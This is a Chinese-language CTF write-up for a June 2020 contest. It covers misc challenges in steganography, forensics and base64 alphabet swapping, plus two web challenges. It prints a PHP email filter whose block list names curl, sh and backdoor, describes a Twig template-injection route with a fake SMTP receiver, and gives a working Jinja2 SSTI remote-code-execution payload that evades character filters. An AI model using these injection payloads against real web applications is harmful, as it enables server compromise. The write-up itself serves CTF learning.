安恒6月赛Writeup

Posted on 2020-06-26,4 min read

Misc

cryptographic_call

单图盲水印。得到Base64的码表。然后脚本跑一下

import base64
import string
string1="0123456789abcdefGHIJKLMNOPQrstuvwXYZghijklmnopqRSTUVW*ABCDEF@xyz"
string2="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
str1="PiTXPBoBd3OVOMdheMGSOZXXeJXXOJ1ge64WPMGBc3cCPJKDc7W="
print(base64.b64decode(str1.translate(str.maketrans(string1,string2))))

PhysicalHacker

爆破密码得到一个wifi包。导出得到flag.txt
snow隐写一把梭

BaiduYun&Gcode

百度云盘转存原理:判断文件前256KMD5是否相同。相同就从数据中链接同一个文件。并不是真的上传。
根据hint。得知X平台前 256KB相同。
下载X平台的图片。算出前256KB的md5。通过一个插件。
https://rapid.acg.uy/
得到一个3D打印的文件。然后就在字符的背面。

Keyboard

filescan得到一个keyboardlog
里面就是qwe密码。解密得到密钥
然后用取证大师,密钥挂载加密的镜像。然后ntfs隐写

透明度

A通道选满。得到一个压缩包。掩码爆破密码得到
nepnb。解压得到Flag

SMB

sam文件。得到用户密码。当作密钥。依旧是取证大师。密钥挂载镜像。然后得到一个rtf文件。16进制解密。很多乱码。中间有一串字符。base58得到flag

Web

Subscribe

F12得到源码

function mailCheck($s) {
    if (preg_match('/\\\|\/|\~|&|\^|\`|\*|\?/i',$s))
    {
        alertMes('damn hacker!', './index.php');
        return false;
    }

    if (!preg_match('/libs|smtp|curl|dev|index\.php|ftp|backdoor|sh/i', $s) )
    {
        if (  preg_match_all('/@/', $s) === 1 )
        {
            $arr = explode('@',$s);
            $domain = end($arr);
            if (!preg_match('/[^a-z0-9._-]/i', $domain))
            {
                return true;
            }
        }
    }

    return false;
}
$smtpEmailTo = $_POST['toemail'];

if (!mailCheck($smtpEmailTo))
{
    alertMes("hacker", "/index.php"); //die;
}
$twig = new Twig_Environment($loader);
$yourName = pos(explode( '@', $smtpEmailTo));
$content = @$twig->render($yourName);
$mailcontent = "<h1>Hello <font color=red>".$content."</font><br>Welcome to DASCTF June, Have FUN!</h1>";
$smtp = new Smtp($smtpserver, $smtpserverport, true, $smtpuser, $smtppass);
$state = $smtp->sendmail($smtpEmailTo, $smtpusermail, $mailtitle, 

前面第一个函数就是用来限制用户名的。不能包含正则中的符号。有就直接die
第二个正则。是用来判断SMTP的域名是否是xx.xx格式的
绕过这个后。可以看到。它会取用户名。然后render渲染。放入html。进行发送。
只要用户名是恶意的payload。然后邮箱域名是我们的域名即可。
至于payload。。网上一搜就有。构造下命令

伪造SMTP服务的脚本

from __future__ import print_function
from datetime import datetime
import asyncore
from smtpd import SMTPServer

class EmlServer(SMTPServer):
    no = 0
    def process_message(self, peer, mailfrom, rcpttos, data, mail_options=None,rcpt_options=None):
        filename = '%s-%d.eml' % (datetime.now().strftime('%Y%m%d%H%M%S'),
                self.no)
        f = open(filename, 'wb')
        print(data)
        f.write(data)
        f.close
        print('%s saved.' % filename)
        self.no += 1


def run():
    foo = EmlServer(('0.0.0.0', 25), None)
    try:
        asyncore.loop()
    except KeyboardInterrupt:
        pass


if __name__ == '__main__':
    run()

easy_flask

ssti部分和安恒二月赛差不多。
就是把request.args.x1改成request.headers.x1
因为ban了()|。可以在结果外边多加一个()。变成整体。从而绕过()|。
也可以中间加个空格绕过()空格|
最后就是RCE了

{{()|attr(request.headers.x1)|attr(request.headers.x2)|attr(request.headers.x3)()|attr(request.headers.x4)(398)|attr(request.headers.x5)|attr(request.headers.x6)|attr(request.headers.x4)(request.headers.x7)|attr(request.headers.x4)(request.headers.x8)(request.headers.x9)}}

复现的时候。环境关了。。。。。

下一篇: [Zer0pts2020]notepad(ssti+python反序列化)→